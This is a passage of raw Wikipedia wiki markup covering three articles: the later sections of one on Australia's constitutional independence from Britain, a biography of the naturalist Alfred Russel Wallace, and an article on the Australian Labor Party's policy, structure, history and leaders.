Also, the Constitution provided that the British monarch be represented in Australia by a Governor-General, who was originally appointed on the advice of the British, not the Australian, government, and was generally a British aristocrat. Finally, the Constitution provided that any law of the Australian Parliament could be disallowed within a year by the British monarch (acting on the advice of British ministers), though this power was never in fact exercised. In summary, the constitutional position of the Commonwealth as a whole in relation to the United Kingdom was, originally, the same as that of the individual colonies before Federation.

==From a united empire crown to a shared monarch==

A fundamental change in the constitutional structures of the British Commonwealth (formerly the British Empire, and not to be confused with the Commonwealth of Australia) did occur, however, in the late [[1920s]]. Under the British [[Royal and Parliamentary Titles Act 1927]], which implemented a decision of an earlier Commonwealth conference, the unified Crown that had heretofore been the centre point of the Empire was replaced by multiple crowns worn by a ''shared monarch''. Before 1927, King [[George V of the United Kingdom|George V]] reigned as king ''in'' Australia, [[New Zealand]], [[Canada]], the [[Irish Free State]], [[South Africa]], etc., each of these states, in effect, as dominions, amounting to a subset of the United Kingdom. After 1927, he reigned as King ''of'' Australia, New Zealand, Ireland, South Africa, etc.  The form of use in the royal title as issued by King [[George V of the United Kingdom|George V]] [http://www.heraldica.org/topics/britain/britstyles.htm#1927] did not mention the dominions by name, except 'Ireland', which changed from being referred to as ''Great Britain and Ireland'' to ''Great Britain, Ireland'', indicating that it was no longer part of the United Kingdom, but a separate state of which the monarch was now directly the head, rather than through linkage with Great Britain. Though unnamed, except through reference to the 'British Dominions beyond the Seas', the ground-breaking move shattered the previous concept of the shared monarch to one of multiple monarchies, all held by the one monarch. 

Though this principle was implicit in the Act and in the King's new titles, and came out of a Commonwealth Conference, neither the British government nor the dominion governments seemed initially to grasp its significance. So while the Irish ''immediately'' put the principle into effect by assuming the right to select their own governor-general and to demand a direct right of audience with the King (excluding British ministers), other dominions were much slower to go down this path, and when they did so, they were faced with determined, though ultimately futile, attempts to block such evolution in London. 

Whereas before 1927, it was correct in law to talk about the ''British monarch'' reigning in the dominions, after 1927, there was technically a 'King of Australia', etc., even if that title was never used formally, with the only link being that that monarch ''was'' British and resident outside the Commonwealth of Australia. Curiously, while the Irish asserted the title '[[King of Ireland]]' by having King George V sign an international treaty on behalf of his Irish realm as early as 1931 (where he was formally advised by the Irish Minister for External Affairs who formally 'attended' His Majesty, with no British minister present), the formal title 'Queen of Australia' was only adopted through the ''Royal Style and Titles Act'' [http://www.statusquo.org/royalstyle.html] enacted by the Parliament of Australia in 1973.

==The Statute of Westminster==

The next major constitutional change came about with the Act of the British Parliament known as the [[Statute of Westminster 1931|Statute of Westminster]] of [[1931]]. This was associated with the transformation of the British Empire into the British Commonwealth. The UK government recognized Australia (and its other dominions, such as Canada and New Zealand) as independent, and agreed that the British Government and Parliament would only make laws for them if they specifically requested it, with the various dominions having the legal right to adopt and amend past legislation enacted in Westminster. (This allowed the Irish Free State, for example, to remove the requirement that the then Irish constitution be limited by the contents of the [[Anglo-Irish Treaty]]. Once that was removed, the [[Oath of Allegiance (Ireland)|Oath of Allegiance]], appeals to the Privy Council, Senate, [[Governor-General of the Irish Free State|governor-generalship]] and [[The Crown|Crown]] were all abolished.) 

However, for various reasons, the Statute of Westminster did ''not'' apply to the Australian States (at their own request), so that they remained, in relation to the United Kingdom, in the position of substantially self-governing colonies, subject, in theory at least, to any legislation specifically directed at them by the British Parliament. Also, their Governors, representing the monarch, were formally appointed on the advice of British ministers, though these increasingly merely relayed advice given to them by the Australian State Premiers.

On the other hand, at the Commonwealth level, the practice was established that the Governor-General was to be appointed by the monarch on the advice of Australian, not British ministers, when the Australian government successfully insisted, against considerable British opposition (including from the King himself), on the appointment of the native-born Sir Isaac Isaacs as Governor-General in 1931.

In April [[1933]], a [[referendum]] in [[Western Australia]] produced a 68% yes vote to leave the Commonwealth of Australia with the aim of returning to the [[British Empire]] as an autonomous territory.  No action was taken in the British Parliament because no request was received from the Australian Government in line with the Statute of Westminster.

==The Australia Act==

The power under the Statute of Westminster to request the British Parliament to make laws for Australia was used on several occasions, primarily in order to enable Australia to acquire new territories. But its most significant use was also its last. This was when the procedure was used to pass the [[Australia Act 1986|Australia Act]] 1986. The Australia Act effectively terminated the ability of the British Parliament or Government to make laws for Australia or its States, even at their request; and provided that any law which was previously required to be passed by the British Parliament on behalf of Australia could now be passed by Australia and its States by themselves. It also removed the right of the monarch personally (that is, not through the local Governor) to exercise his or her powers in the states, except when personally present in them. And it severed the last judicial link with the United Kingdom, by abolishing the right of appeal to the [[Judicial Committee of the Privy Council]].

==An evolving independence==

Thus the independence of Australia from the United Kingdom, rather than occurring as a single event, has, in legal terms, been a continuing process. Some of the significant milestones discussed above have been the following:

* mid-1800s: acquisition of substantial internal self-government by the colonies
* 1901: establishment of the Commonwealth of Australia
* 1927: development of the &quot;shared&quot; monarchy
* 1931: passing of the Statute of Westminster
* 1986: passing of the Australia Act

Since the Australia Act, the only remaining constitutional link with the United Kingdom (if it is one) is in the person of the monarch (see [[Queen of Australia]]). But even that connection may not be automatic. In an important constitutional case (''Sue v Hill'' (1999) 163 ALR 648), three justices of the [[High Court of Australia]] (the ultimate court of appeal) expressed the view that if the British Parliament were to alter the law of succession to the throne, such a change could ''not'' have any effect on the monarchy in Australia, because of the Australia Act: succession to the throne would continue in Australia according to the existing rule, unless and until that was altered ''in Australia''. None of the other four justices in that case disagreed with this reasoning. (Because it was not strictly necessary to decide the case at hand, this is not strictly a binding judicial determination; but it is almost certainly correct given the [[precedent]] of the [[Abdication Crisis of Edward VIII|Abdication Crisis of 1936]].)  

The same case decided (and on this point the decision ''is'' binding) that the United Kingdom is a &quot;foreign power&quot; within the meaning of the Constitution, and therefore that holders of British citizenship are ineligible for election to the Federal Parliament (though a special &quot;grandfathering&quot; arrangement merely phases out the right of British citizens to vote).

==Crisis in 1975==
The elections of the [[Australian Labor Party]] in [[1972]] and [[1974]] under its leader [[Gough Whitlam]] led to several constitutional issues being tested.  For two weeks in 1972, the Government had only two ministers, Whitlam and [[Lance Barnard]].  Although it had a majority in the lower House, the ALP faced a hostile Senate, and the defeat of Government bills led to a double dissolution and a consequent [[Joint Sitting, Australian parliament, 1974|joint sitting]] and the passing of the bills into law as allowed under section 57. The political situation however was not improved much by the 1974 election, and the Senate later failed to provide &quot;supply&quot; (i.e. to pass tax and expenditure acts).  The resulting [[Australian constitutional crisis of 1975]] raised a series of issues: 
* Must a State Governor appoint a party's nomination as a replacement in the Senate? 
* Can the Senate refuse supply or refuse to discuss supply? 
* Should the Prime Minister resign in such a situation? 
* If he does not, should the Governor-General dismiss him?
* How can the Governor-General and Prime Minister have a sensible discussion when each is able to have the other dismissed immediately provided that the other has not already acted?        

Of these, only the first has been partly resolved; an amendment in 1977 changed the procedure for casual appointment.  while the State Parliaments can still require a state Governor to appoint somebody who is not the party's nominee, by stripping that nominee of their party membership the party can deny them appointment to the Senate.  The State parliament can still refuse to appoint the party's nominee; in this case, a standoff can develop where the vacancy goes unfilled.  This occurred in 1987, when the Tasmanian state parliament refused to appoint the Labor Party's nominee for a casual vacancy ([http://www.aph.gov.au/library/pubs/rp/2001-02/02rp18.pdf], reference 99).

==Towards an Australian republic?==
As already seen, the only remaining constitutional connection with the United Kingdom is through the monarch, who is the monarch not only of the UK, but also of Australia and of each of its States. The main function of the monarch is to appoint and dismiss the Governor-General and the State Governors, and this function is exercised on the advice of the Prime Minister or the relevant State Premier. (The monarch is also sometimes asked to perform some function, such as giving the Royal Assent to an Act of Parliament, for ceremonial purposes during a Royal visit.)

On recent moves to replace the current constitution with a republic, and the defeat of the referendum for this purpose in 1999, see [[Australian republicanism]].

==See also==
*[[Australian constitutional law]]
*[[Constitutional law]]
*[[Constitutional convention (political meeting)|Constitutional convention]]

==External links==
*[http://www.aph.gov.au/library/pubs/chron/1999-2000/2000chr01.htm Australian Parliamentary Library -- Australia's Constitutional Milestones]
*[http://www.foundingdocs.gov.au/places/cth/cth1.htm Documentation on Australian Constitutional History]


[[Category:Australian constitutional law]]
[[Category:Constitutional law]]
[[Category:Politics of Australia]]
[[Category:History of Australia]]</text>
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    <title>Alfred Russel Wallace</title>
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      <text xml:space="preserve">[[image:Alfred Russel Wallace.jpg|thumb|200px|Alfred Russel Wallace]]
:''for the [[Cornwall|Cornish]] painter see [[Alfred Wallis]]''
'''Alfred Russel Wallace,''' [[Order of Merit|OM]] , [[Fellow of the Royal Society|FRS]] ([[January 8]] [[1823]] &amp;ndash; [[November 7]] [[1913]]) was a [[United Kingdom|British]] [[Natural history|naturalist]], [[geographer]], [[anthropologist]] and [[biologist]].  Wallace's independent proposal of a theory of [[evolution]] by [[natural selection]] prompted [[Charles Darwin]] to reveal his own more developed and researched, but unpublished, theory sooner than he had intended.  He is sometimes called the &quot;[[List of people known as father or mother of something#W|father of biogeography]]&quot;.

==Early life==

Wallace was born at [[Usk]], [[Monmouthshire]]. He was the eighth of nine children of Thomas Vere Wallace and Mary Anne Greenell. He attended grammar school in [[Hertford]], but left when his family lost their remaining property. He worked for his older brother William in his surveying business, and between [[1840]] and [[1843]] spent his time surveying in the west of [[England]] and [[Wales]]. In [[1844]] he was hired as a master at the Collegiate School in [[Leicester]]. In [[1845]] his brother William died and Wallace returned to run the [[surveying]] business.

[[Image:Alfred Russel Wallace 1862 - Project Gutenberg eText 15997.png|thumbnail|right|200px|A. R. Wallace in [[Singapore]] in [[1862]]]]
==Exploration and study of the natural world==

In [[1848]], Wallace, together with another naturalist, [[Henry Walter Bates]] (whom he had met in [[Leicester]]), left for [[Brazil]] to collect specimens in the [[Amazon Rainforest]], with the express intention of gathering facts in order to solve the riddle of the origin of species.  Unfortunately, a large part of his collection was destroyed when his ship caught fire and sank while returning to Britain in [[1852]].

From [[1854]] to [[1862]], he travelled through the [[Malay Archipelago]] or [[East Indies]] (now [[Malaysia]] and [[Indonesia]]), to collect specimens and study nature. His observations of the marked zoological differences across a narrow zone in the archipelago led to his hypothesis of the zoogeographical boundary now known as the [[Wallace line]]. One of his better known species descriptions during this trip is the gliding tree [[frog]] ''Rhacophorus nigropalmatus'', Wallace's flying frogs.  His studies there were eventually published in [[1869]] as ''The Malay Archipelago''.

==Theory of evolution==

: See also [[Publication of Darwin's theory]].

In [[1855]], Wallace published a paper, [http://www.wku.edu/%7Esmithch/wallace/S020.htm &quot;On the Law Which has Regulated the Introduction of Species&quot; (1855)], in which he gathers and enumerates general observations regarding the geographic and geologic distribution of species ([[biogeography]]), and concludes that &quot;Every species has come into existence coincident both in space and time with a closely allied species.&quot;  The paper was a foreshadowing of the momentous paper he would write three years hence.

Wallace had once briefly met Darwin, and was one of Darwin's numerous correspondents from around the world, whose observations Darwin used to support his theories.  Wallace knew that Darwin was interested in the question of how species originate, and trusted his opinion on the matter.  Thus, he sent him his essay, [http://www.wku.edu/%7Esmithch/wallace/S043.htm &quot;On the Tendency of Varieties to Depart Indefinitely From the Original Type&quot; (1858)], and asked him to review it. On [[18 June]] [[1858]] Darwin received the manuscript from Wallace. In it, Wallace described a novel theory of what is now known as &quot;natural selection,&quot; and he proposed that it explains the diversity of life.  It was essentially the same as the theory that Darwin had worked on for twenty years, but had yet to publish.  Darwin wrote in a letter to [[Charles Lyell]]: &quot;he could not have made a better short abstract!  Even his terms now stand as heads of my chapters!&quot;  Although Wallace had not requested that his essay be published, Charles Lyell and [[Joseph Dalton Hooker|Joseph Hooker]] decided to present the essay, together with excerpts from a paper that Darwin had written in [[1844]], and kept confidential, to the [[Linnean Society of London]] on [[1 July]] [[1858]], highlighting Darwin's priority. 

Wallace accepted the arrangement after the fact, grateful that he had been included at all. Darwin's social and scientific status was at that time far greater than Wallace's, and it was unlikely that Wallace's views on evolution would have been taken as seriously. Though relegated to the position of co-discoverer, and never the social equal of Darwin or the other elite British natural scientists, Wallace was granted far greater access to tightly-regulated British scientific circles after the advocacy on his part by Darwin. When he returned to England, Wallace met Darwin and the two remained friendly afterwards.

==Religious views, and application of the theory to mankind==

In a letter to a relative in [[1861]], Wallace wrote: &quot;I think I have fairly heard and fairly weighed the evidence on both sides, and I remain an utter disbeliever in almost all that you consider the most sacred truths...  I can see much to admire in all religions... But whether there be a God and whatever be His nature; whether we have an immortal soul or not, or whatever may be our state after death, I can have no fear of having to suffer for the study of nature and the search for truth....&quot;

In [[1864]], before Darwin had publicly addressed the subject&amp;mdash;though others had&amp;mdash;Wallace published a paper, ''The Origin of Human Races and the Antiquity of Man Deduced from the Theory of 'Natural Selection''', applying the theory to mankind.  Wallace subsequently became a [[spiritualism|spiritualist]], and later maintained that natural selection cannot account for mathematical, artistic, or musical genius, as well as metaphysical musings, and wit and humor; and that something in &quot;the unseen universe of Spirit&quot; had interceded at least three times in history: 1. The creation of life from inorganic matter. 2. The introduction of consciousness in the higher animals. 3. The generation of the above-mentioned faculties in mankind.  He also believed that the raison d'être of the universe was the development of the human spirit.  (See Wallace (1889)). These views greatly disturbed Darwin in his lifetime, who argued that spiritual appeals were not necessary and that [[sexual selection]] could easily explain such apparently non-adaptive phenomena. 

In many accounts of the history of evolution, Wallace is relegated to a role of simply being the &quot;stimulus&quot; to Darwin's own theory. In reality, Wallace developed his own distinct evolutionary views which diverged from Darwin's, and was considered by many (especially Darwin) to be a chief thinker on evolution in his day whose ideas could not be ignored. He is among the most cited naturalists in Darwin's ''[[Descent of Man]]'', often in strong disagreement. 

[[Image:Alfred Russel Wallace - Project Gutenberg eText 14558.jpg|thumbnail|right|250px|Alfred Russel Wallace, and signature, from the frontispiece of ''Darwinism'' (1889)]]

==Precursor of ecology, and awards==
Wallace was the first to propose a [[biogeography|&quot;geography&quot;]] of animal species, and as such is considered one of the [[ecology#The_notion_of_biocenose:_Darwin_and_Wallace|precursors of ecology]] and [[biogeography|biogeography]].

==Awards==
Among the many awards presented to Wallace were the [[Order of Merit]] ([[1908]]), the [[Royal Society]]'s [[Copley Medal]] ([[1908]]), the [[Royal Geographical Society]]'s Founder's Medal ([[1892]]) and the Linnean Society's Gold Medal ([[1892]]).

He is also honored by having [[Impact crater|crater]]s on [[Mars (planet)|Mars]] and the [[Moon]] named after him.  Having sometimes been referred to as &quot;Darwin's Moon&quot; it is amusing that Wallace has a crater on the Moon named after himself.

==References==
*Wallace, Alfred Russel (1889). [http://www.wku.edu/~smithch/wallace/S724CH15.htm ''Darwinism'', Chapter 15.]
==Publications==
*Alfred Russel Wallace: ''Vaccination A Delusion'', '''1898''', ''Swan Sonnenschein &amp; Co, LTD'' [http://www.vaccination.org.uk/vaccine/wallace/book.html]

==External links==
*[http://www.wku.edu/~smithch/index1.htm The Alfred Russel Wallace Page]
*[http://www.worldwideschool.org/library/books/geo/travel/TheMalayArchipelagoVolume1/toc.html Alfred Russel Wallace, ''The Malay Archipelago'']
* {{gutenberg author| id=Alfred+Russel+Wallace | name=Alfred Russel Wallace}}

==Books about Wallace==
*''Just Before the Origin: Alfred Russel Wallace's Theory of Evolution'' by John Langdon Brooks ISBN 1583481117
*''The Spice Islands Voyage: The Quest for Alfred Wallace, the Man Who Shared Darwin's Discovery of Evolution'' by Tim Severin ISBN 0786707216
*''My Life'' an autobiography : (1905) Alfred Russel Wallace By Chapman &amp; Hall, Ltd., London

==See also==
*[[Australia-New Guinea]]
*[[Wallace line]]

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  <page>
    <title>Australian Labor Party</title>
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      <text xml:space="preserve">{{redirect|ALP}}
{{Infobox_Australian_Political_Party |
  party_name     = Australian Labor Party |
  party_logo     = [[Image:Alp.png|100px|Australian Labor Party Logo]] |
  party_wikicolourid     = Labor |
  leader = [[Kim Beazley]] |
  deputy leader = [[Jenny Macklin]] |
  foundation     = [[1890s]] |
  ideology = [[social democracy]]|
  headquarters   = [[Centenary House]]&lt;br/&gt;19 National Circuit&lt;br/&gt;
[[Canberra|BARTON]] [[Australian Capital Territory|ACT]] 2600 |
  holds_government = [[New South Wales|NSW]], [[Victoria (Australia)|VIC]], [[Queensland|QLD]], [[South Australia|SA]]&lt;br /&gt;[[Western Australia|WA]], [[Tasmania|TAS]], [[Australian Capital Territory|ACT]] &amp; [[Northern Territory| NT]]|
  website = [http://www.alp.org.au Australian Labor Party]|
  international = [[Socialist International]]
}}
The '''Australian Labor Party''' or '''ALP''' is [[Australia]]'s oldest [[political party]]. It is so-named because of its origins in and close links to the [[labor union|trade union]] movement. While it is standard practice in [[Australian English]] to spell the word ''[[Wiktionary:labour|labour]]'' with an &quot;-our&quot; ending, the name of the party ends with &quot;-or&quot;.

==Policy==
Like other [[social democratic]] parties, Labor tends to believe that government is generally a positive force in the community and that it is the responsibility of governments to intervene in the operation of the economy (and society in general) to improve outcomes. Labor believes that the government should ensure that all members of society receive a basic income in order to have a &quot;decent quality of life&quot;. Labor also believes that the government should ensure that all members of society are able to access quality and affordable housing as well as education and health services [http://www.alp.org.au/about/values.php]. 

Taking these objectives into account, like most social democratic parties around the world, Labor has embraced more free market principles since the beginning of the [[1980s]]. For example, Labor supports and implemented the dismantling of trade barriers and deregulation of industry. However, the party argues that it made these changes more moderately and with greater concern for those made worse off from these changes than the [[Coalition (Australia)|Coalition]] would have. Labor's policy shift has had critics from both the [[Left-wing politics|left]] and the [[Right-wing politics|right]] of the political spectrum. The left says that Labor has abandoned its traditional base and values and that its policies are indistinguishable from those of the Coalition. The right argues that Labor doesn't embrace enough neo-liberal economics and that it is sticking to a tired, union-dominated ideology. 

Since the 1970s and 1980s Labor has supported [[multiculturalism]] and generally is more likely to approve of higher immigration levels than the Coalition. Labor is the primary supporter of issues that affect [[indigenous Australians]] such as land rights and supports a formal apology on the issue of the [[stolen generation]]. Labor is also more likely to support additional rights for gay and lesbian people and it is a stronger supporter of equal opportunity legislation than the Coalition. Labor MPs are more likely to support [[pro-choice]] positions on [[abortion]] and [[euthanasia]], but the party almost always provides MPs with a [[conscience vote]] on these matters. Many MPs use this option to take a [[pro-life]] position, and the ALP has traditionally had a &quot;Catholic Right&quot; element (since Roman Catholics in Australia were traditionally working-class and thus inclined to support Labor) which continues to defend socially conservative positions on the family, abortion, euthanasia and homosexuality; however, its influence has declined somewhat. Many of the more socially liberal positions which often characterise the party today reflect the transformation of the ALP begun in the late 1960s and early 1970s under [[Gough Whitlam]] from a party dominated by the socially conservative working class to a party drawing a large slab of support from the new socially liberal middle class. 

Internationally, Labor generally believes in [[multilateralism]], but is often more critical of Australia's relationship with large international powers like the [[United States]] and historically the [[United Kingdom]] than the Liberal Party. However, many members of the Labor Party, especially those affiliated with right-wing factions, are strong supporters of the alliance with the United States. This support is also official party policy. However, Labor opposed the [[2003 invasion of Iraq]] (though it did support the [[2001 invasion of Afghanistan]]). In his welcome speech to [[President of the United States|US President]] [[George W. Bush]], former leader [[Simon Crean]] said:

:''The Australian perspective is bound to differ, from time to time, with the perspective of the United States. Of course, on occasions, friends disagree, as we on this side did with you on the war in Iraq. But, such is the strength of our shared values, interests and principles, those differences can enrich rather than diminish, strengthen rather than weaken, our partnership. Our commitment to the Alliance remains unshakeable, as does our commitment to the [[War on Terror]], but friends must be honest with each other.''[http://www.australianpolitics.com/news/2003/10/03-10-23b.shtml]

Labor also supports a greater level of Australian integration with Asia than the Liberal Party, but this distinction is starting to narrow with increasing Liberal Party support for stronger Asian relationships, especially with [[Indonesia]].

==Structure==
The Australian Labor Party is a democratic and federal party, which consists of both individual members and affiliated trade unions, who between them decide the party's policies, elect its governing bodies and choose its candidates for public office. The great majority of trade unions in Australia are affiliated to the party, and their affiliation fees, based on the size of their memberships, makes up a large part of the party's income. The party consists of six state and two territory branches, each of which consists of local branches which any Australian citizen or permanent resident can join, plus affiliated trade unions. Individual members pay a membership fee, which is graduated according to income. Members are expected to attend at least one meeting of their local branch each year. In practice only a dedicated minority regularly attend meetings. Many members only become active during election campaigns. The party has about 50,000 individual members, although this figure tends to fluctuate along with the party's electoral fortunes.

[[Image:ac.kimbeazleynew.jpg|thumb|300px|Hon Kim Beazley, Leader of the Australian Labor Party 1996-2001 and since 2005]]

The members and unions elect delegates to state and territory conferences (usually held annually, although more frequent conferences are often held). These conferences decide policy, and elect state or territory executives, a state or territory president (an honorary position usually held for a one-year term), and a state or territory secretary (a full-time professional position). The larger branches also have full-time assistant secretaries and organisers. In the past the ratio of conference delegates coming from the branches and affiliated unions has varied from state to state, however under recent national reforms at least 50% of delegates at all state and territory conferences must be elected by branches.

The party holds a National Conference every three years, which consists of delegates representing the state and territory branches (many coming from affiliated trade unions, although there is no formal requirement for unions to be represented at the National Conference). The National Conference approves the party's Platform and policies, elects the [[Australian Labor Party National Executive|National Executive]], and appoints office-bearers such as the National Secretary, who also serves as national campaign director during elections. The current National Secretary is [[Tim Gartrell]]. The next National Conference will be held in January [[2007]].

The national Leader of the Labor Party is elected by the Labor members of the national Parliament (the [[Caucus]]), not by the conference. Until recently the national conference elected the party's National President, a largely honorary position, but since [[2003]] the position has rotated among people directly elected by the party's individual members. The current National President is [[Warren Mundine]], who assumed the past in January 2006. The two Vice-Presidents are [[Barry Jones (Australian politician)|Barry Jones]], a veteran party figure who was a minister in the [[Bob Hawke|Hawke]] government, and Dr [[Carmen Lawrence]], a former Premier of Western Australia and minister in the [[Paul Keating|Keating]] government.

The Labor Party contests national, state and territory elections. In some states it also contests local government elections: in others it does not, preferring to allow its members to run as non-endorsed candidates. The process of choosing Labor candidates is called '''pre-selection'''. Candidates are pre-selected by different methods in the various states and territories. In some they are chosen by ballots of all party members, in others by panels or committees elected by the state conference, in still others by a combination of these two. Labor candidates are required to sign a pledge that if elected they will always vote in Parliament in accordance with decisions made by a vote of the Caucus. They are also sometimes required to donate a portion of their salary to the party, although this practice has declined with the introduction of public funding for political parties.

The Labor Party has always had a left wing and a right wing, but since the 1970s it has been organised into formal factions, to which many party members belong and often pay an additional membership fee. The two largest factions are [[Labor Unity]] (on the right) and the [[Socialist Left|National Left]]. Labor Unity generally supports free-market policies and the U.S. Alliance. The National Left, although it seldom openly espouses [[socialism]], favours more state intervention in the economy and is generally opposed to the U.S. Alliance. The factions are themselves divided into sub-factions, and there is a constantly changing pattern of factional and sub-factional alliances around particular policy issues or around particular pre-selection disputes. Frequently these alliances and disputes reflect power struggles between or within trade unions.

The trade unions are also factionally aligned. The largest unions supporting the right are the [[Australian Workers Union]] (AWU), the [[National Union of Workers]] (NUW), the [[Shop, Distributive and Allied Employees' Association]] (SDA). Important unions supporting the left include the [[Australian Manufacturing Workers Union]] (AMWU), the [[Liquor, Hospitality and Miscellaneous Union]] (LHMU), the [[Construction, Forestry, Mining and Energy Union]] (CFMEU), the [[Australian Services Union]] (ASU) and the [[Maritime Union of Australia]] (MUA). But these affiliations are seldom unconditional or permanent. The AWU and the NUW, for example, are bitter rivals and the NUW sometimes aligns itself with the left to further its conflict with the AWU. On some issues, such as opposition to the Howard government's industrial relations policy, all the unions are in agreement and work as a block within the party.

Pre-selections are usually conducted along factional lines, although sometimes a non-factional candidate will be given preferential treatment (this happened with [[Cheryl Kernot]] in [[1998]] and again with [[Peter Garrett]] in [[2004]]). Deals between the factions to divide up the safe seats between them are also common. Pre-selections, particularly for safe Labor seats, are often bitterly contested, and have frequently involved practices such as '''[[branch stacking]]''' (signing up large numbers of nominal party members to vote in pre-selection ballots), [[personation]], multiple voting and even fraudulent electoral enrolment. Trade unions were in the past accused of giving inflated membership figures to increase their influence over pre-selections, but party rules changes have stamped out this practice. Pre-selection results are frequently challenged, and the National Executive is sometimes called on to arbitrate these disputes.

==History==

No exact date can be given for the founding of the Australian Labor Party, originating as it did from the various colonial labour movements. Labour Leagues and similar electoral organisations existed in [[New South Wales]] and [[Queensland]] from about [[1890]]. Party mythology says the first Labour branch was founded at a meeting of striking pastoral workers under a tree (the &quot;Tree of Knowledge&quot;) in [[Barcaldine, Queensland]] in [[1891]]. The [[Balmain, New South Wales]] branch of the party also claims to be the oldest in Australia. The party as a serious electoral force dates from [[1893]] in Queensland, [[1894]] in New South Wales, and later in the other colonies. In [[1899]], [[Anderson Dawson]] formed a minority Labour government in [[Queensland]], the first in the world, which lasted one week.

After [[Australian Federation|Federation]], the Federal Parliamentary Labor Party (informally known as the [[caucus|Caucus]]) first met on the [[8 May]] [[1901]] at [[Parliament House, Melbourne]], the meeting place of the first Federal Parliament. This is now taken as the founding date of the federal Labor Party, but it was some years before there was any significant structure or organisation at a national level. (The formal name '''Australian Labor Party''' was adopted in [[1908]].)

The ALP during its early years was distinguished by its rapid growth and success at a national level, first forming a minority national government under [[Chris Watson]] in April [[1904]], and forming its first majority government under [[Andrew Fisher]] in [[1910]]. The state branches were also successful, except in [[Victoria (Australia)|Victoria]], where the strength of [[Alfred Deakin|Deakinite]] [[liberalism]] inhibited the party's growth. The first majority Labor state governments were formed in [[New South Wales]] and [[South Australia]] in [[1910]], in [[Western Australia]] in [[1911]] and in [[Queensland]] in [[1915]]. Such success eluded equivalent social democratic and labour parties in other countries for many years.

One of the party's early innovations was the establishment of a federal [[arbitration]] system for the resolution of industrial disputes, which formed the basis of the industrial relations system for many decades. 

The party was historically committed to [[socialist]] economic policies, but this term was never clearly defined, and no Labor government ever attempted to implement &quot;socialism&quot; in any serious sense. Labor supported national wage fixing and a strong welfare system, it did not [[nationalisation|nationalise]] private enterprise. The single exception to this was [[Ben Chifley]]'s attempt to nationalise the private banks in the [[1940s]], but this was ruled unconstitutional by the [[High Court of Australia]]. The commitment to nationalisation was dropped by [[Gough Whitlam]].

In the [[1970s]] and beyond, the party, through the efforts of [[Gough Whitlam]] and his supporters within the party, gave up its theoretical commitment to socialism and became a [[social democrat]]ic party. (Some references to [[democratic socialism]] still remain in the party's constitution, but they are generally regarded as a relic). Indeed, during the [[1980s]] the party was responsible for the introduction of many economic policies such as [[privatization|privatisation]] of government enterprises (such as the [[Commonwealth Bank]], which was itself established by an earlier Labor government), and [[deregulation]] of many previously tightly-controlled industries, which are normally the province of [[conservative]] governments.

From its formation until the 1950s Labor and its affiliated unions were the strongest defenders of the [[White Australia Policy]], which banned all non-European migration to Australia. This policy was partly motivated by 19th-century theories about &quot;racial purity&quot; (shared by most Australians at this time), and partly by fears of economic competition from low-wage labour. In practice the party opposed all migration, on the grounds that immigrants competed with Australian workers and drove down wages, until after [[World War II]], when the [[Ben Chifley|Chifley]] government launched a major immigration program. The party's opposition to non-European immigration did not change until after the retirement of [[Arthur Calwell]] as leader in [[1967]]. Subsequently Labor has become an advocate of [[multiculturalism]], although some of its trade union base continue to oppose high immigration levels.

The Labor Party has suffered three major splits: 

*In [[1915]] over the issue of conscription, when Prime Minister [[Billy Hughes]] supported the introduction of [[conscription]], while the majority of the party opposed it. After failing to persuade the Australian voters to support a [[referendum]] approving of conscription which bitterly divided the country in the process, Hughes and his followers were expelled from the Labor Party. He formed the [[Nationalist Party of Australia]] in alliance with the conservatives and remained Prime Minister until [[1923]]. 

*In [[1931]] over economic issues revolving around how to handle the [[Great_Depression|depression]]. The ALP was split between those who believed in radical policies such as NSW Premier [[Jack Lang (Australia)|Jack Lang]], who wanted to repudiate Australia's debt to British bondholders, proto-[[Keynesian economics|Keynesians]] such as federal Treasurer [[Ted Theodore]], and believers in orthodox finance such as Prime Minister [[James Scullin]] and a senior minister in his government, [[Joseph Lyons]]. In [[1931]] Lyons left the party and joined the conservatives, becoming Prime Minister in [[1932]].

*The [[1954]] split on [[communism]]. During the [[1950s]] the issue of communism and support for communist causes or governments caused great internal conflict in the Labor party and the trade union movement in general. During the 1950's, staunchly [[anti-Communist]] [[Roman Catholic Church|Roman Catholic]] members (Catholics being an important traditional support base) became suspicious of Communist infiltration of unions and formed Industrial Groups to gain control of them, fostering intense internal conflict. After Labor's loss of the [[1954]] election, federal leader [[H.V. Evatt|Dr H.V. Evatt]] blamed the subversive activities of the &quot;Groupers&quot; for the defeat. They were expelled from the ALP and formed the [[Democratic Labor Party]] (DLP) whose intellectual leader was [[B.A. Santamaria]]. The DLP was heavily influenced by [[Roman Catholic Church|Catholic]] social teachings and had the support of the Catholic Archbishop of [[Melbourne]], [[Daniel Mannix]]. The DLP helped the [[Liberal Party of Australia]] remain in power for almost two decades but was successfully undermined by the [[Gough Whitlam|Whitlam]] Labor Government during the [[1970s]] and ceased to exist as a parliamentary party after the [[1974]] election. 

The Labor Party thus served as a development ground for several conservative leaders. Conservative Prime Ministers [[Joseph Cook]], [[Billy Hughes]] and [[Joseph Lyons]] were all ex-members of the Labor Party, with both Hughes and Lyons holding very senior positions in the party (Prime Minister and Premier respectively). Non-Labor premiers such as [[William Holman]] also began their careers in the Labor Party.

Labor, like parties of the broad centre in most countries, draws criticism from both left and right. Critics from the left say Labor has abandoned its traditional base and values and that its policies are indistinguishable from those of the conservative parties. Right-wing critics accuse Labor of sticking to a tired, union-dominated ideology. Many members of the party are critical of the role of the factions and of union leaders, who they accuse of colluding to stifle party democracy. The party has also been criticised for accepting political donations from real estate interests, particularly in NSW, and for its links to gambling industries.

Through its membership of the [[Socialist International]], the ALP is affiliated with other democratic socialist, social democratic and labour parties in many countries.

==ALP federal leaders==
* [[Chris Watson]] 1901-08 (Prime Minister 1904)
* [[Andrew Fisher]] 1908-15 (Prime Minister 1908-09, 1910-13, 1914-15)
* [[Billy Hughes]] 1915-16 (Prime Minister 1915-23, expelled from Labor Party 1916)
* [[Frank Tudor]] 1916-22
* [[Mathew Charlton]] 1922-28
* [[James Scullin]] 1928-35 (Prime Minister 1929-32)
* [[John Curtin]] 1935-45 (Prime Minister 1941-45)
* [[Ben Chifley]] 1945-51 (Prime Minister 1945-49)
* [[H.V. Evatt|Dr H.V. Evatt]] 1951-60
* [[Arthur Calwell]] 1960-67
* [[Gough Whitlam]] 1967-77 (Prime Minister 1972-75)
* [[Bill Hayden]] 1977-83
* [[Bob Hawke]] 1983-91 (Prime Minister 1983-91)
* [[Paul Keating]] 1991-96 (Prime Minister 1991-96)
* [[Kim Beazley]] 1996-2001
* [[Simon Crean]] 2001-03
* [[Mark Latham]] 2003-05
* [[Kim Beazley]] 2005-

